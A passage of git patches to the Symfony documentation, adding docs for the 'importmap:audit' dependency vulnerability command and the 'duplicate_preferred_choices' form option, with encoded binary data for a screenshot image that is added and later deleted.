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

literal 0
HcmV?d00001

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index f773bd8013d..2f969420a9d 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -1040,6 +1040,38 @@ re-calculated when you expect it to, you can run:
 
 This will force the AssetMapper component to re-calculate the content of all files.
 
+Run Security Audits on Your Dependencies
+----------------------------------------
+
+Just like ``npm`` and ``yarn``, the AssetMapper component comes bundled with a
+command allowing you to quickly have a look at security vulnerability advisories
+that may exist in the dependencies you're using in your application:
+
+.. code-block:: terminal
+
+    $ php bin/console importmap:audit
+
+This command will result in an output similar to this:
+
+.. image:: /_images/components/assetmapper/01-importmap-audit.png
+    :alt: Console output showing a table of security vulnerabilities that exist
+    in the dependencies used in the application.
+
+Additionally, the command takes a ``--format`` option to chose in which format
+the output should be. The values supported by this options are the following:
+
+* ``txt``
+* ``json``
+
+The command will return the ``0`` exit code if no vulnerability is found, or
+the ``-1`` exit code otherwise. This means that you can seamlessly integrate this
+command as part of your CI to be warned anytime a new vulnerability is found
+in the packages you use.
+
+.. versionadded:: 6.4
+
+    The ``importmap:audit`` command was introduced in Symfony 6.4.
+
 .. _latest asset-mapper recipe: https://github.com/symfony/recipes/tree/main/symfony/asset-mapper
 .. _import statement: https://caniuse.com/es6-module-dynamic-import
 .. _ES6: https://caniuse.com/es6

From 2ec5104fc2935bb6685447e97af598e80b528b12 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 5 Oct 2023 11:55:29 +0200
Subject: [PATCH 5267/7107] [Form] Add `duplicate_preferred_choices` option to
 `ChoiceType`

---
 reference/forms/types/choice.rst              |  2 ++
 reference/forms/types/country.rst             |  2 ++
 reference/forms/types/currency.rst            |  2 ++
 reference/forms/types/enum.rst                |  2 ++
 reference/forms/types/language.rst            |  2 ++
 reference/forms/types/locale.rst              |  2 ++
 .../duplicate_preferred_choices.rst.inc       | 27 +++++++++++++++++++
 reference/forms/types/timezone.rst            |  2 ++
 8 files changed, 41 insertions(+)
 create mode 100644 reference/forms/types/options/duplicate_preferred_choices.rst.inc

diff --git a/reference/forms/types/choice.rst b/reference/forms/types/choice.rst
index 8266ea1c317..09952efefc3 100644
--- a/reference/forms/types/choice.rst
+++ b/reference/forms/types/choice.rst
@@ -188,6 +188,8 @@ correct types will be assigned to the model.
 
 .. include:: /reference/forms/types/options/choice_value.rst.inc
 
+.. include:: /reference/forms/types/options/duplicate_preferred_choices.rst.inc
+
 .. include:: /reference/forms/types/options/expanded.rst.inc
 
 .. include:: /reference/forms/types/options/group_by.rst.inc
diff --git a/reference/forms/types/country.rst b/reference/forms/types/country.rst
index bf24f6e0089..4d249d9524c 100644
--- a/reference/forms/types/country.rst
+++ b/reference/forms/types/country.rst
@@ -68,6 +68,8 @@ Inherited Options
 
 These options inherit from the :doc:`ChoiceType </reference/forms/types/choice>`:
 
+.. include:: /reference/forms/types/options/duplicate_preferred_choices.rst.inc
+
 .. include:: /reference/forms/types/options/error_bubbling.rst.inc
 
 .. include:: /reference/forms/types/options/error_mapping.rst.inc
diff --git a/reference/forms/types/currency.rst b/reference/forms/types/currency.rst
index 9cffad3d9cf..a90820442a8 100644
--- a/reference/forms/types/currency.rst
+++ b/reference/forms/types/currency.rst
@@ -51,6 +51,8 @@ Inherited Options
 
 These options inherit from the :doc:`ChoiceType </reference/forms/types/choice>`:
 
+.. include:: /reference/forms/types/options/duplicate_preferred_choices.rst.inc
+
 .. include:: /reference/forms/types/options/error_bubbling.rst.inc
 
 .. include:: /reference/forms/types/options/expanded.rst.inc
diff --git a/reference/forms/types/enum.rst b/reference/forms/types/enum.rst
index 76ac77a75f4..12fdc125177 100644
--- a/reference/forms/types/enum.rst
+++ b/reference/forms/types/enum.rst
@@ -159,6 +159,8 @@ This callback will group choices in 3 categories: ``Upper``, ``Lower`` and ``Oth
 
 If you return ``null``, the option won't be grouped.
 
+.. include:: /reference/forms/types/options/duplicate_preferred_choices.rst.inc
+
 .. include:: /reference/forms/types/options/multiple.rst.inc
 
 .. include:: /reference/forms/types/options/placeholder.rst.inc
diff --git a/reference/forms/types/language.rst b/reference/forms/types/language.rst
index 8b301826b85..2ed8e3c402a 100644
--- a/reference/forms/types/language.rst
+++ b/reference/forms/types/language.rst
@@ -85,6 +85,8 @@ Inherited Options
 
 These options inherit from the :doc:`ChoiceType </reference/forms/types/choice>`:
 
+.. include:: /reference/forms/types/options/duplicate_preferred_choices.rst.inc
+
 .. include:: /reference/forms/types/options/error_bubbling.rst.inc
 
 .. include:: /reference/forms/types/options/error_mapping.rst.inc
diff --git a/reference/forms/types/locale.rst b/reference/forms/types/locale.rst
index 23fafe9304f..59794c7ba4c 100644
--- a/reference/forms/types/locale.rst
+++ b/reference/forms/types/locale.rst
@@ -62,6 +62,8 @@ Inherited Options
 
 These options inherit from the :doc:`ChoiceType </reference/forms/types/choice>`:
 
+.. include:: /reference/forms/types/options/duplicate_preferred_choices.rst.inc
+
 .. include:: /reference/forms/types/options/error_bubbling.rst.inc
 
 .. include:: /reference/forms/types/options/error_mapping.rst.inc
diff --git a/reference/forms/types/options/duplicate_preferred_choices.rst.inc b/reference/forms/types/options/duplicate_preferred_choices.rst.inc
new file mode 100644
index 00000000000..9d6d3c94a49
--- /dev/null
+++ b/reference/forms/types/options/duplicate_preferred_choices.rst.inc
@@ -0,0 +1,27 @@
+``duplicate_preferred_choices``
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+**type**: ``boolean`` **default**: ``true``
+
+When using the ``preferred_choices`` option, the selected choices are displayed
+twice by default: at the top of your list and in the complete list. You can
+change this behavior: when setting this option to ``false``, preferred choices
+will only be displayed at the top of the list.
+
+    use Symfony\Component\Form\Extension\Core\Type\ChoiceType;
+    // ...
+
+    $builder->add('language', ChoiceType::class, [
+        'choices' => [
+            'English' => 'en',
+            'Spanish' => 'es',
+            'Bork' => 'muppets',
+            'Pirate' => 'arr',
+        ],
+        'preferred_choices' => ['muppets', 'arr'],
+        'duplicate_preferred_choices' => false,
+    ]);
+
+.. versionadded:: 6.4
+
+    The ``duplicate_preferred_choices`` option was introduced in Symfony 6.4.
diff --git a/reference/forms/types/timezone.rst b/reference/forms/types/timezone.rst
index 1ccb99ac611..a6564855a92 100644
--- a/reference/forms/types/timezone.rst
+++ b/reference/forms/types/timezone.rst
@@ -83,6 +83,8 @@ Inherited Options
 
 These options inherit from the :doc:`ChoiceType </reference/forms/types/choice>`:
 
+.. include:: /reference/forms/types/options/duplicate_preferred_choices.rst.inc
+
 .. include:: /reference/forms/types/options/expanded.rst.inc
 
 .. include:: /reference/forms/types/options/multiple.rst.inc

From 68ea028805aa8bd7250fd74235ecb08545e844b4 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 5 Oct 2023 12:46:12 +0200
Subject: [PATCH 5268/7107] Tweaks

---
 .../types/options/duplicate_preferred_choices.rst.inc      | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/reference/forms/types/options/duplicate_preferred_choices.rst.inc b/reference/forms/types/options/duplicate_preferred_choices.rst.inc
index 9d6d3c94a49..72e85067bd3 100644
--- a/reference/forms/types/options/duplicate_preferred_choices.rst.inc
+++ b/reference/forms/types/options/duplicate_preferred_choices.rst.inc
@@ -3,10 +3,9 @@
 
 **type**: ``boolean`` **default**: ``true``
 
-When using the ``preferred_choices`` option, the selected choices are displayed
-twice by default: at the top of your list and in the complete list. You can
-change this behavior: when setting this option to ``false``, preferred choices
-will only be displayed at the top of the list.
+When using the ``preferred_choices`` option, those preferred choices are displayed
+twice by default: at the top of the list and in the full list below. Set this
+option to ``false``, to only display preferred choices at the top of the list::
 
     use Symfony\Component\Form\Extension\Core\Type\ChoiceType;
     // ...

From 4c92efe3e1a4220febc3d6448a092e3f59edd674 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 5 Oct 2023 13:11:59 +0200
Subject: [PATCH 5269/7107] Tweaks

---
 .../assetmapper/01-importmap-audit.png        | Bin 132950 -> 0 bytes
 frontend/asset_mapper.rst                     |  43 +++++++++++-------
 2 files changed, 27 insertions(+), 16 deletions(-)
 delete mode 100644 _images/components/assetmapper/01-importmap-audit.png

diff --git a/_images/components/assetmapper/01-importmap-audit.png b/_images/components/assetmapper/01-importmap-audit.png
deleted file mode 100644
index d98b86bceb2f2f3f02f5252a51a80884e9e19d1f..0000000000000000000000000000000000000000
GIT binary patch
literal 0
HcmV?d00001

literal 132950
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
